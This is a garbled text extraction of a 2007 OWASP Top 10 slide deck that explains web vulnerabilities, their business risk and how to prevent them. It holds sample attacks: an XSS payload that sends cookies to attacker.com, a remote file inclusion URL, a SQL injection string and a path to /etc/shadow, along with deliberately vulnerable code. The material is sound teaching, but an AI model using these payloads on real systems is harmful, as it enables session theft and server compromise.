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OWASP Top 10 (2007) Brett Hardin OWASP Top 10 -
Brett Hardin -
What is the OWASP Top 10? ¤ 10 web application
vulnerabilities ¤ Allows organizations to have insight into why their applications have vulnerabilities ¤ Aids in understanding the consequences ¤ Good starting point to implement a secure coding strategy ¤ Not a standard! OWASP Top 10 - Brett Hardin -
What is the need for Application Security? ¤ 75% of
attacks target the application and not infrastructure – Gartner ¤ Attack surface is huge [millions of lines of code] ¤ A single vulnerability can lead to catastrophic failure ¤ Network controls do nothing to stop application attacks OWASP Top 10 - Brett Hardin -
How was it Developed? ¤ The OWASP top 10 is
constructed from the MITRE vulnerability trends for 2006 ¤ Only focused on vulnerabilities that affect web applications ¤ Exception is cryptographic vulnerabilities ¤ Represent root cause of many privacy leaks and compliance issues (PCI) ¤ Focus is on vulnerabilities not attacks OWASP Top 10 - Brett Hardin -
Overview ¤ Cross-Site Scripting (XSS) ¤ Injection Flaws ¤ Malicious
File Execution ¤ Insecure Direct Object Reference ¤ Cross Site Request Forgery ¤ Information Leakage and Improper Error Handling ¤ Broken Authentication and Session Management ¤ Insecure Cryptographic Storage ¤ Insecure Communications ¤ Failure to Restrict URL Access OWASP Top 10 - Brett Hardin -
A10 - Failure to Restrict URL Access OWASP Top 10
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A10 – Failure to Restrict URL Access Vulnerability: ¤ Having
a page that doesn`t have the correct access control policy in place. ¤ Having a page that is lhiddenz from the users. ¤ Pages that check privileges on the client but not on the server ¤ Attackers find these pages through forceful browsing. ¤ Susceptible Pages could follow out of date access control policies. OWASP Top 10 - Brett Hardin -
A10 – Failure to Restrict URL Access /Customer OWASP Top
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A10 – Failure to Restrict URL Access /Customer balance.jsp transfer.jsp
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A10 – Failure to Restrict URL Access /Customer balance.jsp transfer.jsp
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A10 – Failure to Restrict URL Access approveTransfer.jsp /Customer balance.jsp
transfer.jsp OWASP Top 10 - Brett Hardin -
A10 – Failure to Restrict URL Access approveTransfer.jsp /Customer balance.jsp
transfer.jsp OWASP Top 10 - Brett Hardin -
A10 – Failure to Restrict URL Access approveTransfer.jsp /Customer balance.jsp
transfer.jsp OWASP Top 10 - Brett Hardin -
A10 – Failure to Restrict URL Access approveTransfer.jsp /Customer balance.jsp
transfer.jsp OWASP Top 10 - Brett Hardin -
addUser.jsp A10 – Failure to Restrict URL Access approveTransfer.jsp /Customer
balance.jsp transfer.jsp /Admin OWASP Top 10 - Brett Hardin -
addUser.jsp A10 – Failure to Restrict URL Access approveTransfer.jsp /Customer
balance.jsp transfer.jsp /Admin OWASP Top 10 - Brett Hardin -
addUser.jsp A10 – Failure to Restrict URL Access approveTransfer.jsp /Customer
balance.jsp transfer.jsp /Admin OWASP Top 10 - Brett Hardin -
A10 – Failure to Restrict URL Access ¤ Business Risk
¤ Exposes functionality to unauthorized users ¤ Loss of a record trail ¤ Can potentially bypass session management ¤ Prevents good auditing from taking place OWASP Top 10 - Brett Hardin -
A10 – Failure to Restrict URL Access ¤ Prevention ¤
Careful planning ¤ Do not assume users will be unaware of hidden functionality ¤ Block access to all file types that your application doesn`t serve ¤ Create an access control matrix ¤ Should be created for every URL and business function OWASP Top 10 - Brett Hardin -
Is the User Authorized if(Session[lisLoggedInz] == false) { //redirect to
the login page } else { if(check_user_access(Session[luseridz], lPageNamez) { //display content } else { //redirect to home } } OWASP Top 10 - Brett Hardin -
A9 – Insecure Communications ¤ Vulnerability: ¤ Failure to secure
sensitive transactions ¤ Not securing client-to-server connections ¤ Not securing server-to-database connections ¤ Not securing other back end connections that pass sensitive data. OWASP Top 10 - Brett Hardin -
A9 – Insecure Communications CC# CC# OWASP Top 10 -
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A9 – Insecure Communications CC# CC# OWASP Top 10 -
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A9 – Insecure Communications CC# CC# OWASP Top 10 -
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A9 – Insecure Communications ¤ Business Risk ¤ Interception of
sensitive transactions ¤ Complete confidentiality loss ¤ Can`t trust the information being sent is lsecurez ¤ Complete integrity loss ¤ Can`t trust the information received is lsecurez OWASP Top 10 - Brett Hardin -
A9 – Insecure Communications ¤ Prevention: ¤ Use SSL to
encrypt network traffic from the client to the server. ¤ Encrypt backend connections, such as database connections. OWASP Top 10 - Brett Hardin -
A8 – Insecure Cryptographic Storage ¤ Vulnerability: ¤ Not encrypting
sensitive information ¤ If it`s sensitive and stored it needs to be encrypted. ¤ Examples of sensitive items include: ¤ Credit cards ¤ passwords ¤ User data? OWASP Top 10 - Brett Hardin -
A8 – Insecure Cryptographic Storage ¤ Business risk ¤ Regulatory
issues ¤ PCI-DSS (Requirement 3) ¤ Confidentiality loss ¤ Data protection OWASP Top 10 - Brett Hardin -
A8 – Insecure Cryptographic Storage ¤ Prevention: ¤ Don`t create
your own cryptographic algorithms (homegrown) ¤ Don`t use weak algorithms (RC3,RC4, MD5, SHA-1) ¤ Generate and store private keys with care ¤ Ensure encrypted data stored is not easy to decrypt OWASP Top 10 - Brett Hardin -
A7 – Broken Authentication and Session Management ¤ Vulnerability ¤
Failure to protect credentials ¤ User login from an unencrypted page ¤ Password reset enumeration ¤ Password/username sent in email ¤ Failure to protect session tokens ¤ Session tokens used in the URL ¤ Session tokens stored persistently in a cookie ¤ Session timeouts are too long OWASP Top 10 - Brett Hardin -
A7 – Broken Authentication and Session Management ¤ Business Risk
¤ Account hijacking ¤ Undermines authorization ¤ Breaks accountability controls ¤ Potential privacy violations OWASP Top 10 - Brett Hardin -
A7 – Broken Authentication and Session Management ¤ Prevention ¤
Relies upon protection from Secure Communication (A9) and Cryptographic Storage (A8) ¤ DO NOT write your own session handlers! ¤ Applications should rely on robust well proven SSO or authentication systems ¤ DO NOT allow login from an unencrypted page ¤ Serve new session cookies after successful authentication ¤ Use timeouts for inactive sessions ¤ Verify the current password when using change password functionality OWASP Top 10 - Brett Hardin -
A6 – Information Leakage and Improper Error Handling OWASP Top
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A6 – Information Leakage and Improper Error Handling ¤ Vulnerability:
¤ Unintentionally leaking information about configuration or internal workings ¤ Leaking internal state ¤ Revealing debug information to users ¤ Examples: ¤ Stack traces ¤ Failed SQL statements ¤ Path information ¤ Debug information OWASP Top 10 - Brett Hardin -
A6 – Information Leakage and Improper Error Handling OWASP Top
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A6 – Information Leakage and Improper Error Handling ¤ Business
Risk ¤ Fingerprinting servers ¤ Displaying errors can potentially lead to additional compromise ¤ SQL injection error messages can lead to Injection Flaws (A2) OWASP Top 10 - Brett Hardin -
A6 – Information Leakage and Improper Error Handling ¤ Prevention
¤ Suppress errors from users (Log them instead) ¤ Create a custom error handler ¤ Use a standard exception handling architecture ¤ Aids in different HTTP error codes from being returned ¤ Potentially use random / unique error codes ¤ Development team should use a common approach ¤ Various layers (database) may also return exceptions ¤ Overriding error codes with 200 OK OWASP Top 10 - Brett Hardin -
A6 – Information Leakage and Improper Error Handling import java.util.logging.Logger;
try { //main block of code } catch (InterException e) { //handle exception Logger.getLogger(lLogNamez).log(Level.SEVERE, null, ex); } catch (Exception e) { //process the global exception } OWASP Top 10 - Brett Hardin -
A5 – Cross Site Request Forgery (CSRF) OWASP Top 10
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A5 – Cross Site Request Forgery (CSRF) ¤ Vulnerability ¤
Forces the victim`s browser to send a request to another established application`s session. ¤ The code is often not on the site which suffers from the vulnerability ¤ Exploits the trust a site has with the browser. ¤ WIDESPREAD! (Sleeping Giant) OWASP Top 10 - Brett Hardin -
A5 – Cross Site Request Forgery (CSRF) OWASP Top 10
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A5 – Cross Site Request Forgery (CSRF) OWASP Top 10
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A5 – Cross Site Request Forgery (CSRF) OWASP Top 10
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A5 – Cross Site Request Forgery (CSRF) OWASP Top 10
- Brett Hardin Banksite.com -
A5 – Cross Site Request Forgery (CSRF) OWASP Top 10
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A5 – Cross Site Request Forgery (CSRF) OWASP Top 10
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A5 – Cross Site Request Forgery (CSRF) OWASP Top 10
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A5 – Cross Site Request Forgery (CSRF) OWASP Top 10
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A5 – Cross Site Request Forgery (CSRF) OWASP Top 10
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A5 – Cross Site Request Forgery (CSRF) OWASP Top 10
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A5 – Cross Site Request Forgery (CSRF) OWASP Top 10
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A5 – Cross Site Request Forgery (CSRF) ¤ Business Risk
¤ Breaks authentication mechanisms ¤ Authorized transactions aren`t authorized ¤ Destroys record trails ¤ Prevents good auditing OWASP Top 10 - Brett Hardin -
A5 – Cross Site Request Forgery (CSRF) OWASP Top 10
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A5 – Cross Site Request Forgery (CSRF) ¤ Prevention ¤
Require authentication on GET/POST ¤ Use custom random tokens when making sensitive transactions ¤ Verify the submitted token is correct for the current user. ¤ Have adequate timeout`s for sessions ¤ In addition, check HTTP referrer header ¤ Check for crossdomain.xml files - flash OWASP Top 10 - Brett Hardin -
A4 – Insecure Direct Object Reference OWASP Top 10 -
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A4 – Insecure Direct Object Reference ¤ Vulnerability: ¤ Exposes
a reference to an internal implementation object ¤ Database record ¤ Internal URL ¤ File ¤ Attacker modifies the direct object to access other objects OWASP Top 10 - Brett Hardin -
A4 – Insecure Direct Object Reference displayReport.jsp OWASP Top 10
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A4 – Insecure Direct Object Reference displayReport.jsp OWASP Top 10
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A4 – Insecure Direct Object Reference displayReport.jsp OWASP Top 10
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A4 – Insecure Direct Object Reference displayReport.jsp OWASP Top 10
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A4 – Insecure Direct Object Reference displayReport.jsp OWASP Top 10
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A4 – Insecure Direct Object Reference displayReport.jsp OWASP Top 10
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A4 – Insecure Direct Object Reference displayReport.jsp OWASP Top 10
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A4 – Insecure Direct Object Reference displayReport.jsp OWASP Top 10
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A4 – Insecure Direct Object Reference displayReport.jsp OWASP Top 10
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A4 – Insecure Direct Object Reference displayReport.jsp OWASP Top 10
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A4 – Insecure Direct Object Reference displayReport.jsp OWASP Top 10
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A4 – Insecure Direct Object Reference displayReport.jsp OWASP Top 10
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A4 – Insecure Direct Object Reference displayReport.jsp /etc/shadow OWASP Top
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A4 – Insecure Direct Object Reference displayReport.jsp /etc/shadow OWASP Top
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A4 – Insecure Direct Object Reference displayReport.jsp /etc/shadow OWASP Top
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A4 – Insecure Direct Object Reference displayReport.jsp /etc/shadow OWASP Top
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A4 – Insecure Direct Object Reference displayReport.jsp /etc/shadow OWASP Top
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A4 – Insecure Direct Object Reference Open Redirect OWASP Top
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A4 – Insecure Direct Object Reference OWASP Top 10 -
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A4 – Insecure Direct Object Reference OWASP Top 10 -
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A4 – Insecure Direct Object Reference OWASP Top 10 -
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A4 – Insecure Direct Object Reference OWASP Top 10 -
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A4 – Insecure Direct Object Reference OWASP Top 10 -
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A4 – Insecure Direct Object Reference OWASP Top 10 -
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A4 – Insecure Direct Object Reference OWASP Top 10 -
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A4 – Insecure Direct Object Reference OWASP Top 10 -
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A4 – Insecure Direct Object Reference ¤ Business risk ¤
Confidentiality loss ¤ Integrity loss ¤ Access data owned by other users ¤ Useful in phishing attacks OWASP Top 10 - Brett Hardin -
A4 – Insecure Direct Object Reference ¤ Prevention ¤ Use
indirect reference maps ¤ Direct maps can be easily guessed ¤ Avoid exposing private objects to users ¤ If a direct object must be used ¤ Ensure the user is authorized to view the object ¤ Validate private objects with an laccept known goodz approach OWASP Top 10 - Brett Hardin -
A4 – Insecure Direct Object Reference Code Example: $sql =
lSELECT * FROM accounts WHERE account_number = l + $safe_request[laccount_numberz]; OWASP Top 10 - Brett Hardin -
A4 – Insecure Direct Object Reference Example of Authorizing Access
to Data: $sql = lSELECT * FROM accounts WHERE account_number = l + $safe_request[laccount_numberz] + lAND user_id = l + $authenticated_data[luser_idz]; OWASP Top 10 - Brett Hardin -
A3 – Malicious File Execution ¤ Vulnerability: ¤ Takes user
input and appends it to a file stream function. ¤ File upload functionality OWASP Top 10 - Brett Hardin -
A3 – Malicious File Execution Client Vulnerable Server Malicious Server
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A3 – Malicious File Execution Client Vulnerable Server Malicious Server
OWASP Top 10 - Brett Hardin -
A3 – Malicious File Execution Client Vulnerable Server Malicious Server
OWASP Top 10 - Brett Hardin load $_request[“filename”]; -
A3 – Malicious File Execution Client Vulnerable Server Malicious Server
OWASP Top 10 - Brett Hardin load $_request[“http://offsite.com/haxor.php”]; -
A3 – Malicious File Execution Client Vulnerable Server Malicious Server
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A3 – Malicious File Execution Client Vulnerable Server Malicious Server
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A3 – Malicious File Execution Client Vulnerable Server Malicious Server
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A3 – Malicious File Execution Client Vulnerable Server Malicious Server
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A3 – Malicious File Execution Client Vulnerable Server Malicious Server
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A3 – Malicious File Execution Code Example: String requestURI =
request.getRequestURI(); File file = new File(l/home/usernamez, requestURI); ServletOutputStream out = response.getOutputStream(); FileInputStream fileStream = new FileInputStream(file); byte[] buf = new byte[fileStream.available()]; fileStream.read(buf); outstream.write(buf); OWASP Top 10 - Brett Hardin -
A3 – Malicious File Execution ¤ Business Risk: ¤ Allows
malicious content to execute on web application server ¤ Potentially Compromise the Server OWASP Top 10 - Brett Hardin -
A3 – Malicious File Execution ¤ Prevention: ¤ Don`t allow
users to insert into server-based resources ¤ Strongly validate input using an laccept known goodz policy ¤ Add firewall rules to prevent applications from making new outbound connections ¤ Implement a sandbox to isolate applications from one another ¤ JVM security manager has been enabled OWASP Top 10 - Brett Hardin -
A2 – Injection Flaws ¤ Vulnerability ¤ When user supplied
data is sent to an interpreter as part of a command or query. ¤ Vulnerability that lbreaksz out of the intended context. ¤ Types of injection flaws: ¤ SQL injection ¤ XML injection ¤ LDAP injection ¤ XPATH injection OWASP Top 10 - Brett Hardin -
A2 – Injection Flaws ¤ Business risk: ¤ Injection flaws
allow an attacker to: ¤ create new db entries ¤ Read db entries ¤ Update db records ¤ delete any arbitrary data available to the application. OWASP Top 10 - Brett Hardin -
A2 – Injection Flaws ¤ Example: ¤ Db_query = lselect
* from users where username =bz + username + l`z; ¤ User inserts, Brett ¤ Db_query = lselect * from users where username =bBrett`z; OWASP Top 10 - Brett Hardin -
A2 – Injection Flaws ¤ Example: ¤ Db_query = lselect
* from users where username =bz + username + l`z; ¤ Attacker inserts X` or b1`=b1 ¤ Db_query = lselect * from users where username = bX` or b1`=b1`z); OWASP Top 10 - Brett Hardin -
A2 – Injection Flaws ¤ Prevention: ¤ Prepared Statement ¤
Separates SQL logic from supplied data ¤ Validate your input ¤ Use a laccept known goodz strategy. ¤ Then sanitize (Encode/Escape) your input ¤ Convert dangerous characters to their non-dangerous counterparts. (e.g. single quote (b) becomes %27) OWASP Top 10 - Brett Hardin -
A2 – Injection Flaws PreparedStatement statement = databaseConnection.getPreparedStatement(); String sql
= lSELECT * FROM users WHERE username = ?z; statement.setString(1, encode(requestParameter)); statement.execute(); OWASP Top 10 - Brett Hardin -
A1 – Cross Site Scripting (XSS) OWASP Top 10 -
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A1 – Cross Site Scripting (XSS) ¤ Vulnerability ¤ XSS
is a type of HTML injection. ¤ XSS allows a user to insert client side scripting into a page that will be displayed back to the user. ¤ XSS exploits the trust a user has with a site. ¤ Extremely common and simple for attackers to find OWASP Top 10 - Brett Hardin -
A1 – Cross Site Scripting (XSS) ¤ Consider the output
of /helloworld.cgi?name=BOB <HTML> <BODY> Hello BOB </BODY> </HTML> OWASP Top 10 - Brett Hardin -
A1 – Cross Site Scripting (XSS) ¤ What about? /helloworld.cgi?name=<SCRIPT
SRC=bhttp://attacker.com/`+document.cookie></ SCRIPT> <HTML> <BODY> Hello <SCRIPT SRC=bhttp:// attacker.com/`+document.cookie></SCRIPT> </BODY> </HTML> OWASP Top 10 - Brett Hardin -
A1 – Cross Site Scripting (XSS) ¤ What about? /helloworld.cgi?name=<SCRIPT
SRC=bhttp://attacker.com/`+document.cookie></ SCRIPT> <HTML> <BODY> Hello <SCRIPT SRC=bhttp:// attacker.com/`+document.cookie></SCRIPT> </BODY> </HTML> OWASP Top 10 - Brett Hardin -
A1 – Cross Site Scripting (XSS) ¤ What about? /helloworld.cgi?name=<SCRIPT
SRC=bhttp://attacker.com/`+document.cookie></ SCRIPT> <HTML> <BODY> Hello <SCRIPT SRC>="http:// attacker.example.com/" +document.cookie</ SCRIPT> </BODY> </HTML> OWASP Top 10 - Brett Hardin -
A1 – Cross Site Scripting (XSS) ¤ What about? /helloworld.cgi?name=<SCRIPT
SRC=bhttp://attacker.com/`+document.cookie></ SCRIPT> <HTML> <BODY> Hello <SCRIPT SRC>="http:// attacker.example.com/" +document.cookie</ SCRIPT> </BODY> </HTML> OWASP Top 10 - Brett Hardin -
A1 – Cross Site Scripting (XSS) ¤ Business Risk ¤
XSS allows attacker to insert code into your application and present it to users on your behalf. ¤ Port-scan intranet ¤ Steal credentials ¤ Steal browser history ¤ Abuse browser vulnerabilities ¤ Log keystrokes ¤ Steal cookies ¤ lDefacez websites OWASP Top 10 - Brett Hardin -
A1 – Cross Site Scripting (XSS) OWASP Top 10 -
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A1 – Cross Site Scripting (XSS) ¤ Prevention: ¤ Strong
output encoding/escaping ¤ Additionally: output validation ¤ Additionally: input validation OWASP Top 10 - Brett Hardin -
Important! ¤ No lweb applicationz scanner will be able to
find all of the vulnerabilities in the OWASP Top 10. ¤ Developers should be fully versed in the OWASP Top 10 ¤ Prevents new code from being developed insecurely ¤ Have code reviews ¤ Hire a developer to specifically look at code from a security perspective OWASP Top 10 - Brett Hardin -
Repeat After Me Don`t Trust User Input, All User Input
is Malicious! OWASP Top 10 - Brett Hardin -
Summary ¤ To prevent these vulnerabilities from occurring in your
application, you need to introduce the OWASP Top 10 to your developers. ¤ An ounce of prevention is worth a pound of cure. ¤ Benjamin Franklin OWASP Top 10 - Brett Hardin